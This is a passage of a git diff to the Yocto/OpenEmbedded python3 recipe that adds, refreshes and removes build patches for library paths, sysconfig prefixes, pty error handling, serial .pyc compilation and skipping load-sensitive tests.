@@ -12,14 +12,14 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 deletion(-)
diff --git a/setup.py b/setup.py
-index b4357e3..fbec00d 100644
+index 43e807f..11b5cf5 100644
--- a/setup.py
+++ b/setup.py
-@@ -856,7 +856,6 @@ class PyBuildExt(build_ext):
+@@ -1149,7 +1149,6 @@ class PyBuildExt(build_ext):
'termcap'):
readline_libs.append('termcap')
- exts.append( Extension('readline', ['readline.c'],
-- library_dirs=['/usr/lib/termcap'],
- extra_link_args=readline_extra_link_args,
- libraries=readline_libs) )
+ self.add(Extension('readline', ['readline.c'],
+- library_dirs=['/usr/lib/termcap'],
+ extra_link_args=readline_extra_link_args,
+ libraries=readline_libs))
else:
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch b/meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch
deleted file mode 100644
index ea75262c4f..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch
+++ /dev/null
@@ -1,196 +0,0 @@
-From 0fbdad1eaf541a8e92be81f39514cd249b3b0801 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 5 Feb 2019 15:52:02 +0100
-Subject: [PATCH] Do not hardcode "lib" as location for modules, site-packages
- and lib-dynload
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- Include/pythonrun.h | 2 ++
- Lib/site.py | 4 ++--
- Makefile.pre.in | 5 +++--
- Modules/getpath.c | 18 ++++++++++++------
- Python/getplatform.c | 10 ++++++++++
- Python/sysmodule.c | 2 ++
- 6 files changed, 31 insertions(+), 10 deletions(-)
-
-diff --git a/Include/pythonrun.h b/Include/pythonrun.h
-index 6f0c6fc..0a17edd 100644
---- a/Include/pythonrun.h
-+++ b/Include/pythonrun.h
-@@ -7,6 +7,8 @@
- extern "C" {
- #endif
-
-+PyAPI_FUNC(const char *) Py_GetLib(void);
-+
- #ifndef Py_LIMITED_API
- PyAPI_FUNC(int) PyRun_SimpleStringFlags(const char *, PyCompilerFlags *);
- PyAPI_FUNC(int) PyRun_AnyFileFlags(FILE *, const char *, PyCompilerFlags *);
-diff --git a/Lib/site.py b/Lib/site.py
-index ffd132b..b55f6d8 100644
---- a/Lib/site.py
-+++ b/Lib/site.py
-@@ -334,12 +334,12 @@ def getsitepackages(prefixes=None):
- seen.add(prefix)
-
- if os.sep == '/':
-- sitepackages.append(os.path.join(prefix, "lib",
-+ sitepackages.append(os.path.join(prefix, sys.lib,
- "python%d.%d" % sys.version_info[:2],
- "site-packages"))
- else:
- sitepackages.append(prefix)
-- sitepackages.append(os.path.join(prefix, "lib", "site-packages"))
-+ sitepackages.append(os.path.join(prefix, sys.lib, "site-packages"))
- return sitepackages
-
- def addsitepackages(known_paths, prefixes=None):
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 6e81b2f..671a20e 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -142,7 +142,7 @@ LIBDIR= @libdir@
- MANDIR= @mandir@
- INCLUDEDIR= @includedir@
- CONFINCLUDEDIR= $(exec_prefix)/include
--SCRIPTDIR= $(prefix)/lib
-+SCRIPTDIR= @libdir@
- ABIFLAGS= @ABIFLAGS@
-
- # Detailed destination directories
-@@ -768,6 +768,7 @@ Modules/getpath.o: $(srcdir)/Modules/getpath.c Makefile
- -DEXEC_PREFIX='"$(exec_prefix)"' \
- -DVERSION='"$(VERSION)"' \
- -DVPATH='"$(VPATH)"' \
-+ -DLIB='"$(LIB)"' \
- -o $@ $(srcdir)/Modules/getpath.c
-
- Programs/python.o: $(srcdir)/Programs/python.c
-@@ -856,7 +857,7 @@ regen-opcode:
- Python/compile.o Python/symtable.o Python/ast_unparse.o Python/ast.o Python/future.o Parser/parsetok.o: $(srcdir)/Include/graminit.h $(srcdir)/Include/Python-ast.h
-
- Python/getplatform.o: $(srcdir)/Python/getplatform.c
-- $(CC) -c $(PY_CORE_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -o $@ $(srcdir)/Python/getplatform.c
-+ $(CC) -c $(PY_CORE_CFLAGS) -DPLATFORM='"$(MACHDEP)"' -DLIB='"$(LIB)"' -o $@ $(srcdir)/Python/getplatform.c
-
- Python/importdl.o: $(srcdir)/Python/importdl.c
- $(CC) -c $(PY_CORE_CFLAGS) -I$(DLINCLDIR) -o $@ $(srcdir)/Python/importdl.c
-diff --git a/Modules/getpath.c b/Modules/getpath.c
-index e6a3e8e..0c62af6 100644
---- a/Modules/getpath.c
-+++ b/Modules/getpath.c
-@@ -123,6 +123,7 @@ typedef struct {
- wchar_t *exec_prefix; /* EXEC_PREFIX define */
-
- wchar_t *lib_python; /* "lib/pythonX.Y" */
-+ wchar_t *multilib_python; /* "lib[suffix]/pythonX.Y" */
- wchar_t argv0_path[MAXPATHLEN+1];
- wchar_t zip_path[MAXPATHLEN+1]; /* ".../lib/pythonXY.zip" */
-
-@@ -314,7 +315,7 @@ search_for_prefix(const _PyCoreConfig *core_config,
- if (delim) {
- *delim = L'\0';
- }
-- joinpath(prefix, calculate->lib_python);
-+ joinpath(prefix, calculate->multilib_python);
- joinpath(prefix, LANDMARK);
- return 1;
- }
-@@ -343,7 +344,7 @@ search_for_prefix(const _PyCoreConfig *core_config,
- copy_absolute(prefix, calculate->argv0_path, MAXPATHLEN+1);
- do {
- n = wcslen(prefix);
-- joinpath(prefix, calculate->lib_python);
-+ joinpath(prefix, calculate->multilib_python);
- joinpath(prefix, LANDMARK);
- if (ismodule(prefix)) {
- return 1;
-@@ -355,7 +356,7 @@ search_for_prefix(const _PyCoreConfig *core_config,
- /* Look at configure's PREFIX */
- wcsncpy(prefix, calculate->prefix, MAXPATHLEN);
- prefix[MAXPATHLEN] = L'\0';
-- joinpath(prefix, calculate->lib_python);
-+ joinpath(prefix, calculate->multilib_python);
- joinpath(prefix, LANDMARK);
- if (ismodule(prefix)) {
- return 1;
-@@ -427,7 +428,7 @@ search_for_exec_prefix(const _PyCoreConfig *core_config,
- wcsncpy(exec_prefix, core_config->home, MAXPATHLEN);
- }
- exec_prefix[MAXPATHLEN] = L'\0';
-- joinpath(exec_prefix, calculate->lib_python);
-+ joinpath(exec_prefix, calculate->multilib_python);
- joinpath(exec_prefix, L"lib-dynload");
- return 1;
- }
-@@ -464,7 +465,7 @@ search_for_exec_prefix(const _PyCoreConfig *core_config,
- copy_absolute(exec_prefix, calculate->argv0_path, MAXPATHLEN+1);
- do {
- n = wcslen(exec_prefix);
-- joinpath(exec_prefix, calculate->lib_python);
-+ joinpath(exec_prefix, calculate->multilib_python);
- joinpath(exec_prefix, L"lib-dynload");
- if (isdir(exec_prefix)) {
- return 1;
-@@ -476,7 +477,7 @@ search_for_exec_prefix(const _PyCoreConfig *core_config,
- /* Look at configure's EXEC_PREFIX */
- wcsncpy(exec_prefix, calculate->exec_prefix, MAXPATHLEN);
- exec_prefix[MAXPATHLEN] = L'\0';
-- joinpath(exec_prefix, calculate->lib_python);
-+ joinpath(exec_prefix, calculate->multilib_python);
- joinpath(exec_prefix, L"lib-dynload");
- if (isdir(exec_prefix)) {
- return 1;
-@@ -871,6 +872,10 @@ calculate_init(PyCalculatePath *calculate,
- if (!calculate->lib_python) {
- return DECODE_LOCALE_ERR("EXEC_PREFIX define", len);
- }
-+ calculate->multilib_python = Py_DecodeLocale(LIB "/python" VERSION, &len);
-+ if (!calculate->multilib_python) {
-+ return DECODE_LOCALE_ERR("EXEC_PREFIX define", len);
-+ }
- return _Py_INIT_OK();
- }
-
-@@ -882,6 +887,7 @@ calculate_free(PyCalculatePath *calculate)
- PyMem_RawFree(calculate->prefix);
- PyMem_RawFree(calculate->exec_prefix);
- PyMem_RawFree(calculate->lib_python);
-+ PyMem_RawFree(calculate->multilib_python);
- PyMem_RawFree(calculate->path_env);
- }
-
-diff --git a/Python/getplatform.c b/Python/getplatform.c
-index 81a0f7a..d55396b 100644
---- a/Python/getplatform.c
-+++ b/Python/getplatform.c
-@@ -10,3 +10,13 @@ Py_GetPlatform(void)
- {
- return PLATFORM;
- }
-+
-+#ifndef LIB
-+#define LIB "lib"
-+#endif
-+
-+const char *
-+Py_GetLib(void)
-+{
-+ return LIB;
-+}
-diff --git a/Python/sysmodule.c b/Python/sysmodule.c
-index efe5b29..de77b17 100644
---- a/Python/sysmodule.c
-+++ b/Python/sysmodule.c
-@@ -2319,6 +2319,8 @@ _PySys_BeginInit(PyObject **sysmod)
- PyUnicode_FromString(Py_GetCopyright()));
- SET_SYS_FROM_STRING("platform",
- PyUnicode_FromString(Py_GetPlatform()));
-+ SET_SYS_FROM_STRING("lib",
-+ PyUnicode_FromString(Py_GetLib()));
- SET_SYS_FROM_STRING("maxsize",
- PyLong_FromSsize_t(PY_SSIZE_T_MAX));
- SET_SYS_FROM_STRING("float_info",
diff --git a/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch b/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
index 83fd52d87f..d98f243cb1 100644
--- a/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
+++ b/meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch
@@ -1,4 +1,4 @@
-From 148861fa16f2aaacd518770f337ea54b5182f981 Mon Sep 17 00:00:00 2001
+From 2406432449784243b7590009d42bd0e871253b2e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 29 Jan 2019 15:03:01 +0100
Subject: [PATCH] Do not use the shell version of python-config that was
@@ -9,15 +9,16 @@ outputs directories correctly.
Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile.pre.in | 9 +++------
1 file changed, 3 insertions(+), 6 deletions(-)
diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 2d2e11f..cc19942 100644
+index ee85f35..f0aedb7 100644
--- a/Makefile.pre.in
+++ b/Makefile.pre.in
-@@ -1431,12 +1431,9 @@ python-config: $(srcdir)/Misc/python-config.in Misc/python-config.sh
+@@ -1640,12 +1640,9 @@ python-config: $(srcdir)/Misc/python-config.in Misc/python-config.sh
sed -e "s,@EXENAME@,$(BINDIR)/python$(LDVERSION)$(EXE)," < $(srcdir)/Misc/python-config.in >python-config.py
@ # Replace makefile compat. variable references with shell script compat. ones; $(VAR) -> ${VAR}
LC_ALL=C sed -e 's,\$$(\([A-Za-z0-9_]*\)),\$$\{\1\},g' < Misc/python-config.sh >python-config
diff --git a/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch b/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
new file mode 100644
index 0000000000..5485020eb4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch
@@ -0,0 +1,27 @@
+From b6ead2d17ceafed47e598b6f50f3ff669deec5ab Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Wed, 4 Mar 2020 00:06:42 +0000
+Subject: [PATCH] Don't search system for headers/libraries
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+
+---
+ setup.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index c190002..5ef368d 100644
+--- a/setup.py
++++ b/setup.py
+@@ -854,8 +854,8 @@ class PyBuildExt(build_ext):
+ add_dir_to_list(self.compiler.include_dirs,
+ sysconfig.get_config_var("INCLUDEDIR"))
+
+- system_lib_dirs = ['/lib64', '/usr/lib64', '/lib', '/usr/lib']
+- system_include_dirs = ['/usr/include']
++ system_lib_dirs = []
++ system_include_dirs = []
+ # lib_dirs and inc_dirs are used to search for files;
+ # if a file is found in one of those directories, it can
+ # be assumed that no additional -I,-L directives are needed.
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch b/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch
new file mode 100644
index 0000000000..df5179e877
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch
@@ -0,0 +1,47 @@
+From 86061629f4a179e740a17e53dd2c98ab47af2fe2 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 16 Sep 2021 16:35:37 +0200
+Subject: [PATCH] Lib/pty.py: handle stdin I/O errors same way as master I/O
+ errors
+
+reading stdin can throw the same I/O errors as reading from master fd does,
+e.g. when running under Yocto's test harness:
+======================================================================
+ERROR: test_spawn_doesnt_hang (test.test_pty.PtyTest)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+ File "/usr/lib/python3.10/test/test_pty.py", line 316, in test_spawn_doesnt_hang
+ pty.spawn([sys.executable, '-c', 'print("hi there")'])
+ File "/usr/lib/python3.10/pty.py", line 181, in spawn
+ _copy(master_fd, master_read, stdin_read)
+ File "/usr/lib/python3.10/pty.py", line 157, in _copy
+ data = stdin_read(STDIN_FILENO)
+ File "/usr/lib/python3.10/pty.py", line 132, in _read
+ return os.read(fd, 1024)
+OSError: [Errno 5] Input/output error
+
+So let's treat both channels the same.
+
+Upstream-Status: Submitted [https://github.com/python/cpython/pull/28388]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/pty.py | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/Lib/pty.py b/Lib/pty.py
+index 8d8ce40..35439c6 100644
+--- a/Lib/pty.py
++++ b/Lib/pty.py
+@@ -154,7 +154,10 @@ def _copy(master_fd, master_read=_read, stdin_read=_read):
+ os.write(STDOUT_FILENO, data)
+
+ if STDIN_FILENO in rfds:
+- data = stdin_read(STDIN_FILENO)
++ try:
++ data = stdin_read(STDIN_FILENO)
++ except OSError:
++ data = b""
+ if not data:
+ fds.remove(STDIN_FILENO)
+ else:
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch
deleted file mode 100644
index b97583682a..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From a21f4f8fa5e5c0601898740b4ac08ec84f41e190 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 18 Apr 2019 17:11:06 +0200
-Subject: [PATCH] Lib/sysconfig.py: fix another place where 'lib' is hardcoded
- as the library path
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Lib/sysconfig.py | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
-index d15cec8..87fa5e6 100644
---- a/Lib/sysconfig.py
-+++ b/Lib/sysconfig.py
-@@ -20,10 +20,10 @@ __all__ = [
-
- _INSTALL_SCHEMES = {
- 'posix_prefix': {
-- 'stdlib': '{installed_base}/lib/python{py_version_short}',
-- 'platstdlib': '{platbase}/lib/python{py_version_short}',
-- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
-- 'platlib': '{platbase}/lib/python{py_version_short}/site-packages',
-+ 'stdlib': '{LIBDEST}',
-+ 'platstdlib': '{LIBDEST}',
-+ 'purelib': '{LIBDEST}/site-packages',
-+ 'platlib': '{LIBDEST}/site-packages',
- 'include':
- '{installed_base}/include/python{py_version_short}{abiflags}',
- 'platinclude':
diff --git a/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch
new file mode 100644
index 0000000000..a9240b3c8a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch
@@ -0,0 +1,32 @@
+From 01d209277e145072e478d8b9acfea3638ee16cdc Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 12:28:31 +0200
+Subject: [PATCH] Lib/sysconfig.py: use prefix value from build configuration
+ file
+
+This allows correctly substituting them for target installs using
+native python.
+
+Upstream-Status: Inappropriate [oe-core cross builds]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/sysconfig.py | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
+index e64bcdc..40c6b3e 100644
+--- a/Lib/sysconfig.py
++++ b/Lib/sysconfig.py
+@@ -613,6 +613,11 @@ def get_config_vars(*args):
+ _init_non_posix(_CONFIG_VARS)
+ if os.name == 'posix':
+ _init_posix(_CONFIG_VARS)
++ _CONFIG_VARS['installed_base'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['base'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['installed_platbase'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['platbase'] = _CONFIG_VARS['prefix']
++ _CONFIG_VARS['platlibdir'] = _CONFIG_VARS['PLATLIBDIR']
+ # For backward compatibility, see issue19555
+ SO = _CONFIG_VARS.get('EXT_SUFFIX')
+ if SO is not None:
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch b/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
new file mode 100644
index 0000000000..2f037ecb09
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch
@@ -0,0 +1,65 @@
+From c960837b8fd83074bab5148236f3d0595468cea4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 16 Jan 2020 12:34:20 +0100
+Subject: [PATCH] Makefile: do not compile .pyc in parallel
+
+This was found to lock up builds, break reproducibility, and produce strange file ownership
+races.
+
+The upstream commit introducing the change was:
+https://github.com/python/cpython/commit/1a2dd82f56bd813aacc570e172cefe55a8a41504
+
+The build lock up issue is reported here:
+https://bugs.python.org/issue45945
+
+The repro failures are documented here:
+https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20211130-yr_o1a8d/packages/diff-html/
+
+Upstream-Status: Inappropriate [see issues above]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ Makefile.pre.in | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/Makefile.pre.in b/Makefile.pre.in
+index edd70d4..5e13ba2 100644
+--- a/Makefile.pre.in
++++ b/Makefile.pre.in
+@@ -1601,30 +1601,30 @@ libinstall: build_all $(srcdir)/Modules/xxmodule.c
+ fi
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -Wi $(DESTDIR)$(LIBDEST)/compileall.py \
+- -j0 -d $(LIBDEST) -f \
++ -d $(LIBDEST) -f \
+ -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
+ $(DESTDIR)$(LIBDEST)
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -Wi -O $(DESTDIR)$(LIBDEST)/compileall.py \
+- -j0 -d $(LIBDEST) -f \
++ -d $(LIBDEST) -f \
+ -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
+ $(DESTDIR)$(LIBDEST)
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -Wi -OO $(DESTDIR)$(LIBDEST)/compileall.py \
+- -j0 -d $(LIBDEST) -f \
++ -d $(LIBDEST) -f \
+ -x 'bad_coding|badsyntax|site-packages|lib2to3/tests/data' \
+ $(DESTDIR)$(LIBDEST)
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -Wi $(DESTDIR)$(LIBDEST)/compileall.py \
+- -j0 -d $(LIBDEST)/site-packages -f \
++ -d $(LIBDEST)/site-packages -f \
+ -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -Wi -O $(DESTDIR)$(LIBDEST)/compileall.py \
+- -j0 -d $(LIBDEST)/site-packages -f \
++ -d $(LIBDEST)/site-packages -f \
+ -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -Wi -OO $(DESTDIR)$(LIBDEST)/compileall.py \
+- -j0 -d $(LIBDEST)/site-packages -f \
++ -d $(LIBDEST)/site-packages -f \
+ -x badsyntax $(DESTDIR)$(LIBDEST)/site-packages
+ -PYTHONPATH=$(DESTDIR)$(LIBDEST) $(RUNSHARED) \
+ $(PYTHON_FOR_BUILD) -m lib2to3.pgen2.driver $(DESTDIR)$(LIBDEST)/lib2to3/Grammar.txt
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch b/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch
deleted file mode 100644
index 237645bc60..0000000000
--- a/meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 840fda32c82550259d02a7a56a78a9c05162b1a1 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 8 May 2019 16:10:29 +0800
-Subject: [PATCH] Makefile: fix Issue36464 (parallel build race problem)
-
-When using make -j with the 'install' target, it's possible for altbininstall
-(which normally creates BINDIR) and libainstall (which doesn't, though it
-installs python-config there) to race, resulting in a failure due to
-attempting to install python-config into a nonexistent BINDIR. Ensure it also
-exists in the libainstall target.
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/13186]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- Makefile.pre.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile.pre.in b/Makefile.pre.in
-index 15f3687..7e9f173 100644
---- a/Makefile.pre.in
-+++ b/Makefile.pre.in
-@@ -1456,7 +1456,7 @@ LIBPL= @LIBPL@
- LIBPC= $(LIBDIR)/pkgconfig
-
- libainstall: @DEF_MAKE_RULE@ python-config
-- @for i in $(LIBDIR) $(LIBPL) $(LIBPC); \
-+ @for i in $(LIBDIR) $(LIBPL) $(LIBPC) $(BINDIR); \
- do \
- if test ! -d $(DESTDIR)$$i; then \
- echo "Creating directory $$i"; \
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch b/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
index fa7735ff93..e1dabc92a3 100644
--- a/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
+++ b/meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch
@@ -1,19 +1,20 @@
-From cf6a9100902484e4d028ee88742dd2487b014a98 Mon Sep 17 00:00:00 2001
+From 9f85089cc3a21d5ff235bb37c6c9758f2b70497d Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 30 Jan 2019 12:41:04 +0100
Subject: [PATCH] Makefile.pre: use qemu wrapper when gathering profile data
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
Makefile.pre.in | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/Makefile.pre.in b/Makefile.pre.in
-index a3a02a7..d5503dd 100644
+index f0aedb7..edd70d4 100644
--- a/Makefile.pre.in
+++ b/Makefile.pre.in
-@@ -507,8 +507,7 @@ build_all_generate_profile:
+@@ -519,8 +519,7 @@ build_all_generate_profile:
$(MAKE) @DEF_MAKE_RULE@ CFLAGS_NODIST="$(CFLAGS_NODIST) $(PGO_PROF_GEN_FLAG)" LDFLAGS_NODIST="$(LDFLAGS_NODIST) $(PGO_PROF_GEN_FLAG)" LIBS="$(LIBS)"
run_profile_task:
diff --git a/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch b/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch
new file mode 100644
index 0000000000..96c5a3c840
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch
@@ -0,0 +1,50 @@
+From 7171aeee22a0b7ab57cdf3d1ae15530549f8f92a Mon Sep 17 00:00:00 2001
+From: Yi Fan Yu <yifan.yu@windriver.com>
+Date: Thu, 1 Apr 2021 13:08:37 -0700
+Subject: [PATCH] Skip failing tests due to load variability on YP AB
+
+Skip these tests until AB-INT is solved.
+
+[YOCTO #14296]
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
+
+---
+ Lib/test/_test_multiprocessing.py | 2 ++
+ Lib/test/test_time.py | 1 +
+ 2 files changed, 3 insertions(+)
+
+diff --git a/Lib/test/_test_multiprocessing.py b/Lib/test/_test_multiprocessing.py
+index 3bc5b8f..a6e106d 100644
+--- a/Lib/test/_test_multiprocessing.py
++++ b/Lib/test/_test_multiprocessing.py
+@@ -568,6 +568,7 @@ class _TestProcess(BaseTestCase):
+
+ close_queue(q)
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_many_processes(self):
+ if self.TYPE == 'threads':
+ self.skipTest('test not appropriate for {}'.format(self.TYPE))
+@@ -4817,6 +4818,7 @@ class TestWait(unittest.TestCase):
+ sem.release()
+ time.sleep(period)
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_wait_integer(self):
+ from multiprocessing.connection import wait
+
+diff --git a/Lib/test/test_time.py b/Lib/test/test_time.py
+index 875615a..aebaa8c 100644
+--- a/Lib/test/test_time.py
++++ b/Lib/test/test_time.py
+@@ -474,6 +474,7 @@ class TimeTestCase(unittest.TestCase):
+ def test_perf_counter(self):
+ time.perf_counter()
+
++ @unittest.skip('timing related test, dependent on load')
+ def test_process_time(self):
+ # process_time() should not include time spend during a sleep
+ start = time.process_time()
diff --git a/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch b/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
index 957839bf3e..993ac243fc 100644
--- a/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
+++ b/meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch
@@ -1,19 +1,20 @@
-From 6c8ea7c1dacd42f3ba00440231ec0e6b1a38300d Mon Sep 17 00:00:00 2001
+From d7217b79a4e125d4fcc1087743171b94d91d1121 Mon Sep 17 00:00:00 2001
From: Inada Naoki <songofacandy@gmail.com>
Date: Sat, 14 Jul 2018 00:46:11 +0900
Subject: [PATCH] Use FLAG_REF always for interned strings
Upstream-Status: Submitted [https://github.com/python/cpython/pull/8226]
Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+
---
Python/marshal.c | 9 +++++++--
1 file changed, 7 insertions(+), 2 deletions(-)
diff --git a/Python/marshal.c b/Python/marshal.c
-index 6d06266c6a..51db2e3b2e 100644
+index 4125240..341c9aa 100644
--- a/Python/marshal.c
+++ b/Python/marshal.c
-@@ -275,9 +275,14 @@ w_ref(PyObject *v, char *flag, WFILE *p)
+@@ -298,9 +298,14 @@ w_ref(PyObject *v, char *flag, WFILE *p)
if (p->version < 3 || p->hashtable == NULL)
return 0; /* not writing object references */
@@ -28,8 +29,5 @@ index 6d06266c6a..51db2e3b2e 100644
return 0;
+ }
- entry = _Py_HASHTABLE_GET_ENTRY(p->hashtable, v);
+ entry = _Py_hashtable_get_entry(p->hashtable, v);
if (entry != NULL) {
---
-2.21.0
-
diff --git a/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch b/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
index e7af88654d..6ab335a405 100644
--- a/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
+++ b/meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch
@@ -1,7 +1,8 @@
-From 7535c39951b9d15dd64c4669092a8582ba555466 Mon Sep 17 00:00:00 2001
+From bb409432f03dd8256865292e382ad16613737829 Mon Sep 17 00:00:00 2001
From: Matthias Schoepfer <matthias.schoepfer@ithinx.io>
Date: Fri, 31 May 2019 15:34:34 +0200
Subject: [PATCH] bpo-36852: proper detection of mips architecture for soft
+
float
When (cross) compiling for softfloat mips, __mips_hard_float will not be
